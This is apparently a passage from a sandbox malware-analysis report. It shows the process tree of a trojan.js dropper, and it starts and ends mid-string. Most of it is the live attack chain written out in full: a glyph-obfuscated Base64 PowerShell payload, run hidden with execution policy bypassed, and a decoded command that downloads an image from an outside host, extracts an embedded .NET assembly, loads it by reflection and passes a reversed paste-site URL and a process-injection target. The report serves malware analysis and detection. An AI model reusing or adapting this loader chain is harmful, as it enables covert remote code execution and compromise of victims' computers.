⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                                                                                                                                      2⤵
                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:5764
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"
                                                                                                                                        3⤵
                                                                                                                                        • Blocklisted process makes network request
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        PID:5472
                                                                                                                                  • C:\Windows\System32\Notepad.exe
                                                                                                                                    "C:\Windows\System32\Notepad.exe" C:\Users\Admin\Desktop\trojan.js
                                                                                                                                    1⤵
                                                                                                                                    • Opens file in notepad (likely ransom note)
                                                                                                                                    PID:4212
                                                                                                                                  • C:\Windows\System32\WScript.exe
                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\trojan.js"
                                                                                                                                    1⤵
                                                                                                                                      PID:5636
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ 